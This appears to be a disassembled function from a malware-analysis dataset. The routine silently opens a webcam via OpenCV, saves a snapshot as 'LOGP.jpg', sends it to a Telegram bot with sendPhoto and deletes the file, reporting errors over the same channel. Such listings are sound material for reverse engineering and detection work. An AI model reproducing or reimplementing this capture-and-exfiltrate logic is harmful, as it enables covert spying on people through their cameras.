Function at 0x14000db60
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov r14, rdx
mov rbx, rcx
mov qword [rbp + 0x228], rdx
xor edi, edi
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x320]
call qword [sym.imp.opencv_videoio4.dll_public:_void___cdecl_cv::VideoCapture::constructor_int__int____ptr64]
nop
lea rcx, [rbp + 0x320]
call qword [sym.imp.opencv_videoio4.dll_public_virtual:_bool___cdecl_cv::VideoCapture::isOpened_void_const___ptr64]
xorps xmm0, xmm0
test al, al
jne 0x14000dd8e
mov rbx, qword [rbx]
movdqu xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x1f8], rdi
movups xmmword [rbp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x38], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0x28]
call fcn.140013570
nop
lea rax, [rbp + 0x138]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x138], xmm0
movups xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
lea r8d, [rdi + 0xc]
lea rdx, str.CAMERA_ERROR
lea rcx, [rbp + 0x48]
call fcn.140013570
nop
mov rax, qword [r14]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x288], rax
mov dword [rbp + 0x280], edi
mov dword [rsp + 0x60], edi
mov byte [rsp + 0x58], dil
mov byte [rsp + 0x50], dil
lea rax, [rbp + 0x1e8]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], dil
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x138]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
mov byte [rsp + 0x20], dil
lea r9, [rbp + 0x48]
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0x270]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
lea ebx, [rdi - 1]
mov rdi, qword [rbp + 0x278]
test rdi, rdi
je 0x14000dcdf
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14000dcdf
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, ebx
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x14000dcdf
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14000dd1d
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dd18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dd18
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x58], xmm0
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x14000dd6c
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dd67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dd67
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x38], xmm0
mov byte [rbp + 0x28], 0
lea rcx, [rbp + 0x1e8]
call fcn.140011170
jmp 0x14000e798
movups xmmword [rbp + 0x360], xmm0
movups xmmword [rbp + 0x370], xmm0
movups xmmword [rbp + 0x380], xmm0
movups xmmword [rbp + 0x390], xmm0
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
lea rcx, [rbp + 0x360]
call qword [sym.imp.opencv_core4.dll_public:_void___cdecl_cv::Mat::constructor_void____ptr64]
nop
mov rax, qword [rbp + 0x320]
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x320]
call qword [rax + 0x50]
lea rcx, [rbp + 0x360]
call qword [sym.imp.opencv_core4.dll_public:_bool___cdecl_cv::Mat::empty_void_const___ptr64]
xorps xmm0, xmm0
test al, al
je 0x14000dfbc
mov rbx, qword [rbx]
movdqu xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], rdi
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp - 0x18]
call fcn.140013570
nop
lea rax, [rbp + 0x148]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x148], xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
mov r8d, inet_ntoa
lea rdx, str.PHOTO_ERROR
lea rcx, [rbp + 8]
call fcn.140013570
nop
mov rax, qword [r14]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x2b0], rax
mov dword [rbp + 0x2a8], edi
mov dword [rsp + 0x60], edi
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x18]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x148]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
mov byte [rsp + 0x20], 0
lea r9, [rbp + 8]
lea r8, [rbp + 0x2a8]
lea rdx, [rbp + 0x260]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov ebx, 0xffffffff
mov rdi, qword [rbp + 0x268]
test rdi, rdi
je 0x14000df0d
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14000df0d
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, ebx
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x14000df0d
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x14000df4b
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000df46
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x18], xmm0
mov byte [rbp + 8], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x14000df9a
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000df95
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
lea rcx, [rbp + 0x1a0]
call fcn.140011170
jmp 0x14000e78a
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rdi
mov qword [rbp + 0x118], rdi
mov dword [rbp + 0x108], 0x1010000
lea rax, [rbp + 0x360]
mov qword [rbp + 0x110], rax
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov r8d, 8
lea r12, str.LOGP.jpg
mov rdx, r12
lea rcx, [rbp - 0x38]
call fcn.140013570
nop
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x38]
call qword [sym.imp.opencv_imgcodecs4.dll_bool___cdecl_cv::imwrite_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_cv::_InputArray_const____ptr64__class_std::vector_int__class_std::allocator_int___const____ptr64_]
movzx esi, al
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14000e069
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e064
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e064
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x14000e0c9
mov rax, qword [rbp + 0x130]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e0c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e0c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
test sil, sil
jne 0x14000e29b
mov rbx, qword [rbx]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1b8], xmm0
mov qword [rbp + 0x1c8], rdi
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp - 0x78]
call fcn.140013570
nop
lea rax, [rbp + 0x158]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x158], xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
mov r8d, 0xa
lea rdx, str.SAVE_ERROR
lea rcx, [rbp - 0x58]
call fcn.140013570
nop
mov rax, qword [r14]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x2d8], rax
mov dword [rbp + 0x2d0], edi
mov dword [rsp + 0x60], edi
mov byte [rsp + 0x58], sil
mov byte [rsp + 0x50], sil
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], sil
lea rax, [rbp - 0x78]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x158]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
mov byte [rsp + 0x20], sil
lea r9, [rbp - 0x58]
lea r8, [rbp + 0x2d0]
lea rdx, [rbp + 0x250]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov ebx, 0xffffffff
mov rdi, qword [rbp + 0x258]
test rdi, rdi
je 0x14000e1ec
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14000e1ec
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, ebx
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x14000e1ec
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14000e22a
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e225
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e225
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14000e279
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e274
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e274
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
lea rcx, [rbp + 0x1b8]
call fcn.140011170
jmp 0x14000e78a
lea rcx, [rbp + 0x320]
call qword [sym.imp.opencv_videoio4.dll_public_virtual:_void___cdecl_cv::VideoCapture::release_void____ptr64]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rbx]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], rdi
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0xc8]
call fcn.140013570
nop
lea rax, [rbp + 0x168]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x168], xmm0
movups xmmword [rbp + 0xa8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb8], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0xa8]
call fcn.140013570
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
mov r15d, 0xa
mov r8d, r15d
lea rdx, str.image_jpeg
lea rcx, [rbp + 0x88]
call fcn.140013570
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
lea r8d, [r15 - 2]
mov rdx, r12
lea rcx, [rbp + 0x68]
call fcn.140013570
nop
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x230]
call qword [sym.imp.TgBot.dll_public:_static_class_std::shared_ptr_class_TgBot::InputFile____cdecl_TgBot::InputFile::fromFile_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_]
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x208], xmm0
mov rcx, qword [rax]
mov qword [rbp + 0x208], rcx
mov rcx, qword [rax + 8]
mov qword [rbp + 0x210], rcx
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov dword [rbp + 0x200], edi
mov rax, qword [r14]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x300], rax
mov dword [rbp + 0x2f8], edi
mov byte [rsp + 0x68], 0
mov dword [rsp + 0x60], edi
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x168]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x200]
lea r8, [rbp + 0x2f8]
lea rdx, [rbp + 0x240]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendPhoto_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D_s]
lea ebx, [r15 - 0xb]
mov rsi, qword [rbp + 0x248]
test rsi, rsi
je 0x14000e485
mov eax, ebx
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x14000e485
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
mov eax, ebx
lock xadd dword [rsi + 0xc], eax
cmp eax, 1
jne 0x14000e485
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rsi, qword [rbp + 0x238]
test rsi, rsi
je 0x14000e4bb
mov eax, ebx
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x14000e4bb
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
mov eax, ebx
lock xadd dword [rsi + 0xc], eax
cmp eax, 1
jne 0x14000e4bb
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x14000e4fc
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e4f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e4f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x78], xmm0
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x14000e551
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e54c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e54c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x98], xmm0
mov byte [rbp + 0x88], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x14000e5ac
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e5a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e5a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0xb8], xmm0
mov byte [rbp + 0xa8], 0
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x14000e607
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e602
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e602
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0xd8], xmm0
mov byte [rbp + 0xc8], 0
lea rcx, [rbp + 0x1d0]
call fcn.140011170
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400170a4
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], 8
lea r8, [rbp + 0x180]
mov edx, eax
lea rcx, [rbp + 0xe8]
call fcn.140001b60
nop
lea rcx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 7
cmova rcx, qword [rbp + 0xe8]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x3c0]
call fcn.1400173b8
mov edx, eax
test eax, eax
jne 0x14000e6d1
mov eax, dword [rbp + 0x3d0]
bt eax, 0xa
jae 0x14000e6bf
mov ecx, dword [rbp + 0x3d4]
cmp ecx, 0xa000000c
jne 0x14000e6b7
lea r15d, [rdx + 4]
jmp 0x14000e6f5
cmp ecx, 0xa0000003
je 0x14000e6f5
movzx r15d, al
and r15d, 0x10
or r15d, 0x20
shr r15d, 4
jmp 0x14000e6f5
mov dword [rsp + 0x7c], 0xffff
sub eax, 2
je 0x14000e6ed
sub eax, 1
je 0x14000e6ed
sub eax, 0x32
je 0x14000e6ed
cmp eax, 0x46
jne 0x14000e6f2
mov edi, 1
mov r15d, edi
mov dword [rbp + 0x190], edx
lea rax, [0x140025110]
mov qword [rbp + 0x198], rax
movaps xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x350], xmm0
test r15d, r15d
je 0x14000e769
cmp r15d, 1
setne dil
mov rdx, qword [rbp + 0x100]
cmp rdx, 7
jbe 0x14000e77b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e776
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e776
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor dil, dil
test edx, edx
jne 0x14000e801
jmp 0x14000e725
call fcn.140017a20
test dil, dil
je 0x14000e78a
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x360]
call qword [sym.imp.opencv_core4.dll_public:_void___cdecl_cv::Mat::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x320]
call qword [sym.imp.opencv_videoio4.dll_public_virtual:_void___cdecl_cv::VideoCapture::destructor_void____ptr64]
nop
mov rdi, qword [r14 + 8]
test rdi, rdi
je 0x14000e7d6
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14000e7d6
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock xadd dword [rdi + 0xc], ebx
cmp ebx, 1
jne 0x14000e7d6
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.140017a00
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
lea r8, [rbp + 0xe8]
lea rdx, [rbp + 0x350]
call fcn.140002bf0
int3